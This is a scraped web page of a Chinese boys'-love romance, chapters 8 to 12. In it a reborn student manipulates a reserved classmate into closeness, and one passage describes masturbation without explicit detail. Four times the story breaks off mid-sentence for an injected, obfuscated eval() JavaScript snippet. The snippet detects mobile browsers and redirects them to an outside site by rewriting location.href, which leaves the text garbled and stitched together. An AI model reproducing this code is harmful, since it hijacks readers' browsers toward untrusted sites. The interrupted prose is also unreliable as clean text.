陈清棠鬼魅般追着他:“你耳朵好红啊,车里很热吗?” “喉结为什么一直在滚动,你很渴吗?” 他笑了下:“为什么不睁开眼呢,你是怕我吗沈鹤?” 在这样穷追不舍的步步紧逼下,沈鹤被压到底的情绪终于彻底反弹,在静默中爆发了。 沈鹤额角青筋不断地鼓动,睁开眼眸色沉沉:“没有。” 陈清棠嘴角微挑,像是在反问‘是吗’。 沈鹤撞进那双漆黑的凤眼里,忽然为之一颤。 男生似笑非笑的目光里,压着隐晦的侵略性,像是要攻破他的盔甲,一寸寸掠夺吞噬他的灵魂,将他拖入某种欲望的深渊,抵死沉沦,最终溺亡。 这种蛊惑又让人着迷的危险感,好几次跟陈清棠相处时,沈鹤都感受到了。 之前沈鹤都视而不见地避开锋芒。 但这次沈鹤不想避了,像是要反驳那句‘你是害怕我吗’一般,沈鹤在一声声心跳声中,顽固地同陈清棠对视。 像是要抢夺回被攻略的城池似的。 车内静默无声,逐渐地,两人纠缠的视线变得胶着。 沈鹤的背心缓缓发热,一股酥麻的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800738|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉,从手指尖蔓延到心口。 他忽然感觉,自己像一匹渴望鲜血的野兽。 陈清棠一看,沈鹤似乎要开始反击了,他才不给沈鹤这个机会。 是时候收一收了。 于是陈清棠拉开距离,退回了自己的座位,继续佯装醉意:“好难受……” 沸腾的心绪,旗鼓相当的交锋,高.潮炙热的气氛 所有的一切,戛然而止。 好像刚才什么都没发生过。 沈鹤还沉浸在那种神经被高高吊起的状态里,但听到陈清棠说难受,他又很快回神。 迟疑两秒,沈鹤小心地越过陈清棠,帮他打开了车窗。 陈清棠半眯着眼拿余光偷瞥他。 外套呢。 前面他都那么暗示了,怎么还不把外套脱给他。 这时,那两个去情趣店进货的,抱着一堆杂七杂八的东西,屁颠屁颠地回来了。 在外面被冷风吹了一圈儿,人也清醒不少。 魏彦兴高采烈地跟沈鹤分享:“沈哥我跟你说,你不去包后悔的,我刚淘了两个好玩意儿,回去给你开开眼。” 沈鹤心不在焉:“不用。” 魏彦:“你不看包后悔的!” 沈鹤:“。” 由于回去得太晚,宿舍已经到了闭寝时间,四人干脆就不回学校了。 沈鹤租的房子够大,卧室有两间,够住人了,大家都跟着他回了家。 房间安排上,沈鹤和魏彦一间,罗新和陈清棠一间。 罗新今天是真累着了,也是头一回喝那么多酒,一沾床就睡了个天昏地暗。 陈清棠却不大困,靠在床头望着天花板,回味着今天在车上,沈鹤被他逼得无所适从,即将爆发却又竭力隐忍的样子。 像一根绷到极致,快要断掉的可怜琴弦。 上辈子陈清棠哪里见过这样的沈鹤啊,简直是国宴。 上辈子的沈鹤,永远镇定自若,无懈可击,好像什么事都不能勾起他的分毫情绪。 也只有在做.爱达到顶峰时,才会稍微显露出一点失控的模样。 沈鹤啊沈鹤,这辈子落他手里了吧。 陈清棠心情很好地点开微信,然后发了条朋友圈。 他分享了一张垂钓的图片,平静的湖面上,高悬着一根鱼竿。 配字:钓鱼不要逼得太紧,否则上钩的鱼也仍然会挣脱逃跑 这条朋友圈,屏蔽了沈鹤还有他的两个室友。 楚希也是个夜猫子,秒评:那要怎么办? 陈清棠挑眉:必要的时候,松一松鱼线 这样鱼才会主动地追过来,安心把饵吃下去,等吃到肚子里后,再想跑也来不及了。 楚希:有深度 [赞] 楚希:你钓的鱼呢,进行到哪一步了? 陈清棠:该松松线了 然后等鱼追着咬上来,就能进行下一步了。 第二天,沈鹤就发觉,陈清棠忽然开始疏远他。 9. 第 9 章 回到家,沈鹤洗漱完后,一个人在书房待了很久。 他上网查了一些资料,有关鼻炎,有关天生就对气味敏感的人的话题。 原来一般人觉得难闻的气味,对陈清棠他们那类人来说,起码难闻好几倍 气味对他们来说,算是一种折磨人的生化武器。 甚至连洗完澡后,人身上自然残留的沐浴露的气味,他们都会觉得呛鼻,还会被影响食欲。 半个多小时后,沈鹤把手机放下,头后仰靠在椅子靠背上,抬起胳膊搭住眼睛。 在事情没有明朗之前,不该那样主观意见地去揣测别人的,尤其还被当面戳破…… 为了弥补,沈鹤把自己的洗衣液,沐浴露,洗发水等日常洗护用品,列了个清单,然后发给了陈清棠。 陈清棠说他身上很好闻,但沈鹤从来不用香水,那应该是这些洗护用品上,自带的香精的味道。 消息发出的时间,是凌晨零点半。 沈鹤等了会儿,没等到回信,他起身从书房回卧室,路过陈清棠跟罗新的房间时,下意识多看了几眼。 门缝是暗的,没有一丝亮光,两个人应该都已经睡下了。 虽然知道陈清棠这时候不可能再回复他,但临睡前,沈鹤还是忍不住又看了眼微信。 第二天早上一醒,抓住手机的下意识反应也是去看微信。 没回复的。 这时,忽然敲门声响了。 罗新声音小小的:“彦子,沈哥,起床了吗,吃饭了。” 沈鹤收起手机,又去把魏彦摇醒,这才下床穿衣。 早餐很简单,就是一人一碗加煎蛋的面条。 四个人围着餐桌,一边闲聊一边吃着。 沈鹤看眼坐在对面的陈清棠。 陈清棠嘴里小口咬着荷包蛋,手上拿着手机,似乎正在打字。 沈鹤不动声色地拿出自己的手机,又看了眼微信。 还是没有回复。 这时魏彦忽然说:“谁煮的面啊,也太好吃了!” 他边说边大口吸溜面条,人都香迷糊了。 罗新笑眯眯:“是小陈哦,他起得最早了,我起来的时候他已经在厨房忙活了。” 魏彦对着陈清棠竖了个大拇指:“谢谢厨子。” 陈清棠:“不客气~” 沈鹤表情闪过一丝细微的变化。 一顿饭吃完,魏彦往沙发上一躺,又开始玩游戏。 罗新争抢着把洗碗的活包揽了下来。 他是个实心眼的孩子,人很淳朴。 总觉得去别人家里,住别人的吃别人的,不干点活的话,心里很不实在,跟亏欠了似的。 而沈鹤,他看了看安静坐在窗边的陈清棠,提步过去。 走出两步,又折返回来,亡羊补牢地从桌上拿了个橘子。 陈清棠早就听见了逐渐靠近的脚步声,但他没回头。 直到一个黄橙橙的橘子被递到眼前,他接过,礼貌性地说了句:“谢谢。” 沈鹤:“要去书房看看吗,我有很多名家的字帖。” 都是沈鹤爷爷的好朋友们送的,一幅就价值连城。 陈清棠差点没压住笑。 这话跟‘我家猫会后空翻,你要不要来看’,有什么区别。 他头一回发现,沈鹤是有点笨拙的。 陈清棠恰到好处地露出一点迟疑,把欲言又止四个字表现得淋漓尽致。 最后在沈鹤凝望的视线中说了句:“不了,我还有事,要回学校了。” 沈鹤没什么表情,只是点了下头。 陈清棠却敏锐地捕捉到了,他眼底一闪而逝的那抹不分明的情绪,于是又说:“下次吧。” 沈鹤啊,离了我,谁还这么懂你又宠你。 沈鹤看了他两秒:“好。” 陈清棠转身要走,边走心里边默念数数。 一、 二、 三…: 沈鹤:“陈清棠。” 陈清棠回头:“嗯?” 沈鹤眼神投向他的手机:“我昨晚给你发的消息,看见了吗。” 陈清棠沉吟两秒:“啊,看见了。我没回你吗?” “抱歉,我是早上睡醒时看见的,脑子没清醒,我还以为我当时回复了呢。” 沈鹤:“看见了就好。” 陈清棠面上浅笑:“谢谢,费心了。” 心里却冷笑,神经。 谁想要什么洗衣粉和沐浴露的牌子了? 他想要的,是沈鹤主动关注他的状态,在他不小心忘了戴口罩时,主动靠近他或者把外套给他。 他想要的是,沈鹤主动让陈清棠,从头到尾染上名为‘沈鹤’的气味。 像是野狼标记地盘一样。 他想要的是——成为跟沈鹤有特殊联系的存在。 但直接说明就没有意思了。 如果不是沈鹤主动给,那一切都没有意义。 如果沈鹤不给…… 陈清棠会让沈鹤给的,他永远清楚要怎么去钓沈鹤。 看着陈清棠离开的背影,沈鹤微微抿唇。 陈清棠好像对他冷淡了。 明明想看他书房的字帖,却说有事忙。 周末能有什么事。 而且两人说话时,陈清棠也在刻意保持距离,似乎不想跟他离得太近。 是错觉吗。 沈鹤想不出理由,只能把这些都归咎于自己的敏感和错觉。 周一,上午第二节是大课,好几个班一起上。 陈清棠第一节课时,就在微信上同楚希打了招呼 陈清棠:第二节课帮我占座,你看见我进教室,就站起来喊我,喊大声点 楚希:??玩儿什么呢,今天不跟那谁一起坐? 陈清棠一只手无聊地转着笔,一只手打字:嗯呐。先别问 楚希:行呗 这边,魏彦和沈鹤他们第一节没课,来教室就比较早,空位随便选。 魏彦问了句:“小陈是不是这节课跟咱一起上啊?” 沈鹤:“嗯。” 沈鹤看过陈清棠的课表,而你且他记忆力好得变态,不会错。 魏彦:“那咱要给他占个座吗?” 沈鹤坐下后,直接把自己的书放在了身旁的座位上:“我占了。” 魏彦嘿嘿一笑:“行,一个寝的就是要板板正正地坐在一起。” 两人说话间,一批又一批的学生从门口涌进来,原本空荡荡的教室,很快被塞得满满当当的。 沈鹤低头看书,时不时抬眼看一眼门口。 距离上课还有两分钟。 这时,不知道是谁忽然扯着嗓子喊了声:“陈清棠!这里!” 嗓门大得整间教室都有回音了。 沈鹤下意识抬头,就看见了僵在门口的陈清棠。 在众人交错打量的视线中,虽然男生口罩下的脸看不清表情,但能感受到他的僵硬,最后陈清棠是硬着头皮走进教室的。 沈鹤就看着陈清棠一步步走到了别人的身边去,然后放好书坐下。 中途陈清棠分明同他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800739|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对视上了,眼神却很快回避开,装作没看见。 以前还会点头打个招呼的。 沈鹤几乎是确定了,陈清棠在跟他保持距离。 明明之前还一起讨论书法,聊得那么来,为什么忽然就疏远了。 魏彦打着游戏,随口说:“小陈今天有人帮他占座诶。” 沈鹤伸手把自己占座的书拿了回来。 但他手里捧着书,眼睛盯着书面,薄唇却紧抿,似乎在出神。 陈清棠是个很好的人,性格好,灵魂有趣,而且他们很合得来。 沈鹤从来没遇见过,像陈清棠这样跟他合拍的人。 所以如果陈清棠不理他了,那大半是他的问题。 是他哪里让陈清棠不舒服了吗。 忽然,脑子里浮现出了一双委屈又含着几分受伤的眼睛。 沈鹤恍然意识到什么。 是的,一定是。 从那晚后,陈清棠对他的态度就变了。 魏彦还在叽叽喳喳说什么,跟罗新两个聊得很开心。 沈鹤忽然出声打断:“魏彦,你很吵。” 魏彦顿了下:“啊,是吗,那我小声点。” 沈鹤:“上课不要讲话。” 魏彦挠挠头:“哦,好的。” 他跟罗新对视一眼,两人都有些莫名其妙。 这人今天怎了么,明明以前从来都不在意这些的。 心情不好吗? 一节课上得索然无味。 到了快放学时,魏彦游戏也不打了,问罗新:“中午吃啥?食堂一楼还是二楼?或者外卖?” 罗新在记笔记,头也没抬:“你问沈哥。” 魏彦扭过头,小心翼翼地喊沈鹤:“沈哥?现在我能说话了吗?” 沈鹤放下笔:“说。” 魏彦:“中午吃啥,食堂还是外卖?” 沈鹤顿了两秒:“食堂。” 又忽然说:“等会儿你叫上陈清棠。” 魏彦:“万一小陈要跟朋友一起呢?” 沈鹤只是抬头看着他,也不说话。 魏彦瞬间卸甲投降:“好好,我叫。” 奇奇怪怪的,怎么不自己叫。 下课铃响了。 陈清棠慢悠悠地收拾东西。 楚希早把书包抡背上了,看他这样不紧不慢地就着急:“啧,你怎么跟我奶一样磨叽,快点啊,吃饭啊,食堂去晚了人多。” 陈清棠:“不急。今天可能吃不了食堂了。去校外吃吧,我请客。” 如果他预料得不错,等会儿跟沈鹤之间,可能会有一场拉锯战。 楚希一乐:“这么好?那行。” 这时,身后有人喊了声:“陈清棠!” 陈清棠眼里漫上笑意,他整理好了表情才回头:“嗯?” 魏彦笑着说:“中午一起吃饭呗。” 陈清棠惋惜道:“但我已经跟朋友约好了。” 魏彦下意识看向沈鹤,沈鹤的也看着他,眼神很坚持。 魏彦只能又说:“嗐,没事儿,都一起呗,人多热闹嘛哈哈。” 陈清棠露出为难的表情,委婉道:“下次吧。我跟朋友要去校外吃。” 魏彦又看向沈鹤:“这样啊……” 陈清棠给楚希使了个眼色,转身就要走。 但刚迈出两步,胳膊忽然被人一把拉住。 陈清棠怔了下,回头就对上沈鹤那双淡如冷月的深眸。 沈鹤:“一起。我们也要去校外吃。” 魏彦:“???” 10. 第 10 章 不是很大的包厢门口站着五个人。 除了陈清棠和沈鹤外,另外三人都面面相觑。 魏彦看他们僵持不动,咳了声:“坐啊,坐下点菜啊,都站着干什么。” 三个灯泡先后落座。 陈清棠原本是跟沈鹤站在一起的,却忽然往前走了两步,避开沈鹤坐到了楚希身旁。 但他刚坐下,身旁另一个座位的凳子被轻轻拉开,沈鹤很自然地挨着他坐下了。 陈清棠眼里闪过微讶,还有一点淡得让人捕捉不到的笑意。 楚希胳膊肘碰了下陈清棠,一脸‘你俩有点事儿’的表情,笑得贼奸。 陈清棠只当没看见。 很快菜上来了,陈清棠抬手摘掉口罩,然后低头吃自己的。 结果一顿饭都快吃完了,沈鹤也没跟他搭话。 但陈清棠注意到,沈鹤那双眼睛,很分明地看了他好几次。 有话说,却不开口? 行吧。 陈清棠站起身:“我上个厕所,你们吃完了等我一下。” 楚希摆摆手:“快去快回。” 陈清棠拉开椅子,绕着餐桌出了门。 厕所在餐厅仓库附近,那边人少很安静。 陈清棠原本走得不快,但听见身后逐渐逼近、愈来愈清晰的脚步声后,他唇角勾笑,加快了步子。 进了厕所,陈清棠只站在门口洗漱台前,慢悠悠地洗着沾染了一点油味儿的手。 很快,镜子里头倒映出另一张清俊的脸。 沈鹤就站在他身后,一言不发地等着。 他比陈清棠要高,低头时视线的自然着落处,是男生白皙清透的后脖颈。 沈鹤忽然发现,在陈清棠脖子凸起的脊骨处,有一颗艳红的痣。 像是开在雪地里的一簇红梅,十分妖冶地地勾人目光。 陈清棠洗完手一抬头,刚好跟镜子里沈鹤的视线撞上。 他适宜地露出半分惊讶:“你也上厕所?” 沈鹤摇摇头,那双深目定定地看着他:“我有话要跟你说。” 陈清棠抽出纸巾,慢条斯理地擦着手。 总算是开口了。 这个年纪的沈鹤,像一本白话文,虽然让人阅读困难,但还是有可读性的。 陈清棠总能从他细微的表情变化里,看出他在想什么。 不像上辈子,已经快奔三、在社会上历尽千帆的沈鹤,简直像一本甲骨文,完全让人看不懂。 沈鹤静默了好几秒:“之前的事我跟你道歉。” 陈清棠很自然地靠在墙边,等着他的下文。 沈鹤:“有一瞬我确实误解你了。” 陈清棠点点头。 又等了会儿,沈鹤却什么都没再说。 就这? 就这?? 就这??? 陈清棠:“好,我接受你的道歉。” 他直接转身就走。 沈鹤瞳孔一颤,下意识反应拉住他的胳膊,不想让他走。 陈清棠眼底揉开一点笑意,佯装困惑地回头:“怎么了吗?还有事?” 沈鹤喉结微动:“所以你……” 陈清棠挑着尾音:“嗯?” 沈鹤呼吸变得轻慢,很认真地注视着陈清棠:“所以你,能不能别避开我,我们明明很聊得来,兴趣也相投。” 就这么疏远了,很可惜。 陈清棠微微歪头:“我有吗?” 沈鹤笃定:“你有。” 陈清棠敛下眼:“好吧,我以为你很反感我的行为,反感我靠你太近,反感我闻你身上的气味,所以之前才那样回避我。” “我想了下,还是保持距离比较好,不想让你太困扰。” 沈鹤抿唇,思考后诚实地回答他:“不。我不讨厌。之前我只是有点混乱,现在已经好了。” 之前每次靠近陈清棠,沈鹤总是有种很奇怪的感觉,情绪也不如以前稳定。 人在面对从未体验过的陌生感受时,下意识反应就是回避。 总要有一个过渡阶段去接受。 陈清棠眼里勾起几分兴味儿:“不讨厌什么?” 沈鹤:“都不讨厌。” 陈清棠挑了下眉:“嗯~这样啊……” 忽然话锋一转:“沈鹤,你喜欢男人吗?上床那种喜欢。” 沈鹤眼里闪过很分明的厌恶:“不喜欢。” 陈清棠:“能接受同性恋靠近你,黏着你,做一些亲密的举动吗?” 沈鹤眼底厌恶加深:“不能。” 陈清棠忽然凑近他,狡黠地眯起眼,抛出一句是是而非的话: “那你的意思是,你接受不了同性恋的靠近,却能接受我的靠近?” 看他微微怔住,陈清棠只是笑了下,转身走了。 结果刚出了厕所,迎头就撞上了听墙角的楚希。 楚希哈哈两声:“我没偷听!” 陈清棠继续往前走:“你当然没偷听,你是做贼也不心虚,正大光明地在听。” 楚希跟在他身后:“唉就我俩这关系,别在意这些细节。” 楚希:“你最后跟沈鹤说的那两句话,到底啥意思啊?你是要向他出柜吗?” 这风险也太大了吧。 据说沈鹤因为外表太优越,被gay骚扰过很多次。 有次沈鹤去学校的澡堂洗澡,刚好位置对面就是个同 那个男生直勾勾地盯着沈鹤看,看了半晌忽然朝沈鹤走过去,暗示性地想摸他,幸亏沈鹤反应快才没被揩油。 从那以后,沈鹤再也没去过学校澡堂,对g ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800740|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ay避之不及,可以说是留下心里阴影了。 陈清棠并不正面回答楚希:“以后再告诉你。” 几个人吃完饭,打算一起回学校。 结完账往外走时,陈清棠手里拿着的口罩,忽然就那么好巧不巧地掉地上了。 他弯腰捡起来,口罩已经沾了灰尘,还有点说不明的油渍。 陈清棠直接把口罩扔进了垃圾桶。 坐电梯下楼时,电梯里满满当当地挤着人,他们几个上去后只刚好能站住脚。 在这狭小密闭的空间里,饭菜的香味,油烟味,人身上的香水味,还有洗衣粉、洗发水等香精各种味道,全部混杂在一起。 就像一锅糟糕的大乱炖,简直就是生化武器。 陈清棠缩在角落里,他抬手捂住自己的鼻子。 这时,一只手臂忽然伸过来,将他圈在了墙壁和一个宽厚的胸膛间。 陈清棠不用抬头,闻到那股幽长清甜的熟悉味道,就知道是沈鹤。 他的心尖微颤了下,像是有一朵小花挣扎着破土而出。 这人,还是挺上道的。 陈清棠明白沈鹤什么意思。 沈鹤是在用行动表明,他不反感跟自己靠得很近,不反感跟自己的亲密接触。 但,仅仅是不反感,还不够。 远远不够。 他要沈鹤主动渴求他的靠近。 其实陈清棠并没有那么夸张的难受,他鼻子是很敏感,但又不是活不下去。 只是陈清棠比较娇气,爱惯着自己,不想忍罢了。 但如果沈鹤在乎这一点,那他就算只有一分难受,也要表现出十分。 有人疼,谁不乐意呢? 磅礴的男性荷尔蒙,将陈清棠牢牢实实地罩住,隔绝出一片狭小的空间。 沈鹤的胸膛有多滚烫、宽实,陈清棠是最清楚不过的,他忍不住心猿意马,靠沈鹤再近一点。 头顶传来男生低沉的声音:“这样好一点吗。” 陈清棠轻轻嗯了声,半掀起眼皮。 他比沈鹤矮一点,这个角度,只能看见沈鹤凸起的喉结,还有线条硬朗的下巴。 沈鹤:“我身上的气味,真的很好闻吗。” 他像是个好奇求教的好学生。 陈清棠就看着沈鹤的喉结,随着他说话间,往上提一下,又往下压回去。 性感到像一把在上膛的枪。 陈清棠心里泛起湿热的痒意,盯着他的喉结,漫不经心地嗯了一声。 沈鹤注意到了男生的视线,莫名脊背一热。 以为是两人靠得太近了,热气烘烘导致的,于是稍微往后退了点。 下一瞬,陈清棠轻咳了声,低垂着好看的眉眼,难为情道: “可以……可以再近一点吗。” 11. 第 11 章 沈鹤顿了下,又立马挪回去。 陈清棠微不可见地勾起一个笑。 让近一点就近一点啊? 以后让停的时候,也能这么乖地停下来吗。 叮的一声,电梯到了。 几人出了餐厅,一路上沈鹤都紧紧跟在陈清棠身旁。 穿过人群时,沈鹤会小心翼翼地护住陈清棠,尽量把他跟人群隔离开。 一路进了学校,走到教学楼门口,两拨人就分道扬镳了。 主要是下午上课的地点不同。 楚希没课,但他反正闲着也没事做,到哪儿都是打游戏,就跟着陈清棠一起去混个课。 两人在教室坐下,楚希打了大半节课游戏,后来觉得没意思了,就跟陈清棠聊天: “你真牛逼,我刚看见了,你俩在电梯里都快抱一起了。” “什么情况啊,到手了?” 陈清棠一只手撑着脑袋,另一只手拿着铅笔,在纸上随意涂画:“还早。” 楚希嘴一努:“啊,你们都,那——么暧昧了!” 陈清棠吃饱了就犯困,整个人懒懒的:“你认为什么才是暧昧?” 楚希用他并不发达的脑子思考了一小下:“就,看起来很亲密吧,比别人都亲密。” 陈清棠:“朋友也可以很亲密。” 楚希:“em,有道理。但暧昧的亲密,和朋友之间的亲密是不一样的吧,就暧昧会有一种磁场,周围人看他们,都觉得有粉泡泡。” 陈清棠犀利反问:“那这种磁场,还有粉泡泡又是怎么产生的呢?为什么会产生呢。” 楚希啧了声:“这谁清楚啊。” 他又不是专业大师。 陈清棠笑了下:“这种磁场是因为两人,都无意中传达出了一种——‘我们可能互相喜欢’、‘我们可能都对对方有意思’的信息。” “暧昧的本质是,我可能喜欢你,而你也可能喜欢我,所以我们心照不宣地靠近彼此,享受被吸引的感觉,并且伴随着互相试探。” 暧昧是个双向词。 但凡有一方没那个意思,那另一方就只是单恋,而不是‘暧昧’。 陈清棠:“暧昧的亲密,是出于‘我本能地想靠近他’,‘我克制不住地要离他近一点’,类似于性.冲动。” 而不是出于照顾。 沈鹤目前对他的亲密,就只是出于照顾,而非情绪、情感上头的驱使。 但迟早有天,陈清棠会让这份照顾变质。 想到那样纯情古板的一个人,遏制不住地靠近他,渴望他,无法自控地想要探索他…… 在欲望和原则之间动摇,在克制和本能之间斗争。 陈清棠就开始兴奋,简直有意思极了。 楚希一拍脑门:“大师!我悟了!” 陈清棠:“嗯哼~” 楚希想了想:“那你今天在厕所,跟沈鹤说那些话到底啥意思?” 陈清棠侧着脸趴在桌上:“当然是,为了进入暧昧阶段,做一点铺垫。” 他在沈鹤心里种下了一颗种子。 接下来要做的,就是给那颗种子浇水,让它发芽生根。 楚希感觉听不懂,云里雾里的。 这时下课铃响了,陈清棠拎起书包就要走:“以后再跟你慢慢说。” 楚希:“去哪儿啊?网吧包机走不走?” 陈清棠潇洒地留给他一个背影,摆摆手:“回寝室,奖励自己。” 今天下午沈鹤他们也只有一节课。 陈清棠反锁好门,拉上床帘,在开始奖励自己前,他看了眼寝室的群消息。 魏彦和罗新下午社团有事,不会回寝室。 至于沈鹤,他两个室友都不回来,估计他也不会突然回来。 陈清棠这才安心地拿出自己的小玩具,开始轻车熟路地捣鼓。 自从住进寝室以来,他已经禁.欲很久了。 陈清棠那方面的欲望有点强盛,本来他还能再忍一忍 但今天在电梯里,跟沈鹤那么近地接触后,所有压制的心火,像被浇了一勺滚油似的,变得熊熊烈然起来,烧得他不太好过。 陈清棠闭上眼,想着沈鹤上下滚动的性感喉结,把手指骨节放在嘴边替代一下,牙齿轻轻咬住。 又想着沈鹤宽厚的胸膛,那温度上辈子他是体验过的,每次都会烫得他瑟缩一抖,却又不可自拔地沉迷,想要贴得更紧,灵魂都交融在一起。 空荡的寝室里,男生的呼吸声急促、混乱,越来越粗重。 最后床忽然剧烈抖动一下,什么声音都没了。 陈清棠眼睛睁得大大地,就那么仰着脖颈躺在床上 还在微微痉挛。 这时手机震动一下。 陈清棠长长地呼出一口气,眼神逐渐聚焦,拿纸巾擦了擦,这才摸到手机看。 楚希:给你看点好东西 楚希:[高冷骚攻被kong蛇的日日夜夜(□□).txt] 楚希:这个攻人设跟沈鹤一毛一样,香死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800741|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈清棠瞥了一眼,看见什么蛇啊的,原本还不太懂,没什么兴趣。 但看到楚希后面那句话,他决定点开瞅一瞅内容。 两分钟后 陈清棠眼底的笑意越来越大,顺手把文件点了保存。 原来是谐音。 真香。 他也想跟沈鹤这么玩儿呢。 敲门声忽然响起。 陈清棠顿住,竖起耳朵听。 如果不是他们寝室的人,他就装作没人在。 毕竟刚奖励完自己,浑身软绵绵的不想动弹。 身上还有一股那种味道,挺明显的,男生一闻就知道他刚才做过什么好事。 咚咚几声后,没了动静,陈清棠正以为那人走了,要躺回去时,一个低沉好听的嗓音隔着门响起。 沈鹤:“陈清棠,在吗,我忘了带钥匙。” 陈清棠静默几秒,翻身下了床。 门被拉开后,沈鹤看见陈清棠穿着件清凉的灰T站在他面前,白皙的脸颊微微泛着潮红,平时柔顺的头发也调皮地炸毛上翘。 应该是刚刚在睡觉。 沈鹤:“我吵醒你了吗,抱歉。” 陈清棠关上门:“没有,我没睡。忽然回来有事?” 沈鹤把电脑包放在自己的桌上:“帮老师做点活,图书馆今天维修,回寝室安静些。” 忽然地,他闻到一股味道。 作为男人,再清楚不过那是什么了。 沈鹤却没往陈清棠身上想,只以为是魏彦。 那小子最重欲了。 回头要说说魏彦了,搞得寝室到处都是味儿。 沈鹤打开电脑开始忙,陈清棠就爬上床,把自己刚才换下的内裤都拿来,准备洗了。 沈鹤:“陈清棠,你有WPS软件的会员吗?” 他要用一下,但又因为不常用这个软件,所以没必要专门去开个会员。 陈清棠:“有,账号就是我的电话号码,密码是……” 沈鹤嗯了声:“我这几天都要借用,方便吗。” 陈清棠:“方便,你随意。” 反正这个软件,可以多设备登录的,又没什么影响。 两分钟后,陈清棠想起什么,洗衣服的手猛然一顿。 就在这时,沈鹤登上了他的账号,第一眼看见的,就是楚希分享的那个文档的历史浏览记录。 高冷骚攻被kong蛇的日日夜夜,这句羞耻到爆炸的话,就那么刺目地挂在那里。 12. 第 12 章 陈清棠第一反应,不是沈鹤看到那个文件,会有什么表情,会怎么看他。 而是,沈鹤能看懂吗? 沈鹤知道‘攻’代表什么吗。 沈鹤又知道‘高.h’是什么意思吗。 想起上辈子他们第一次做.爱,沈鹤竟然是去查的科普片,认认真真学了一晚上,第二天才敢对他下手。 毫不夸张,这个男人,连那种不正经的片儿都根本没看过。 更别提小黄文了。 陈清棠微微歪头,从洗漱台偏出去看沈鹤。 果然,沈鹤的目光只在历史浏览记录上,停留了不到两秒,就很快点开自己的文档忙去了。 陈清棠一挑眉,正琢磨着什么,忽然一只手伸过来,递给他一瓶洗衣液。 陈清棠抬头:“?” 沈鹤没什么表情:“试试我的洗衣液,看会不会有我身上你喜欢的那种气味。” 陈清棠接过:“谢谢。” 他当着沈鹤的面,把洗衣液倒了点在手心,然后捞起盆里的内裤搓了两下。 沈鹤这才注意到陈清棠在洗什么。 他忽然别开目光,看向地面。 陈清棠把内裤透了水,拿到鼻尖轻嗅。 随后抬起头,那双眼睛含着潋滟撩拨的水光:“可以给我闻一下你的衣服吗,我对照看看。” 沈鹤转身就走。 陈清棠:“?” 一分钟后,沈鹤从他的衣柜里拿出一件没穿过的外套,递给了陈清棠。 陈清棠心里无语,行吧。 他假模假样地凑过去闻了下,惋惜说:“好淡,不太像。” 沈鹤抿唇:“不是衣服上的气味吗。” 陈清棠只安静地看着他,看他下面要怎么办。 沈鹤很认真地分析:“难道是洗发水,或者沐浴露的气味?” 但他的洗漱用品没有放在寝室,没办法验证。 陈清棠:“不知道。” 又漫不经心地随口一说:“要是能闻一下,我可能就知道了。” 沈鹤微顿,忽然上前两步:“你闻闻。” 他上午刚洗过澡。 沈鹤一贯有早晨洗澡的习惯,这样能让脑子清醒一整天。 陈清棠佯装不懂:“闻什么?” 沈鹤很坦然:“你闻闻我。” 陈清棠身子靠在洗漱台旁,似笑非笑地看着他:“从哪里开始闻?” 男生的眸子漆黑剔透,很漂亮,只是这样含着笑意时,会压着一股很不明显的侵略性,像是要剖开人的灵魂。 沈鹤每次被陈清棠这样的目光注视着,就有种自己正赤.身.裸.体被他观赏的感觉。 谈不上不舒服,只是,心跳会变得躁动。 像是饥饿的野狼嗅到了鲜血。 胜负欲作祟一般,沈鹤也定定地同陈清棠对视:“都可以。你想从哪里开始闻都可以。” 陈清棠缓缓凑近他,这个过程中,他的目光没有从沈鹤身上挪开半分。 宛如一条正步步逼近猎物的蛇。 陈清棠轻声:“如果我的举动让你不舒服了,你随时喊停。” 沈鹤嗯了声:“没事。你随意。” 陈清棠先是踮着脚,去闻沈鹤粗直的头发:“好香……” 他的嘴唇,刚好靠近沈鹤的耳朵。 沈鹤只觉得,一股热气缭绕在耳廓,随后爬进了他的耳蜗。 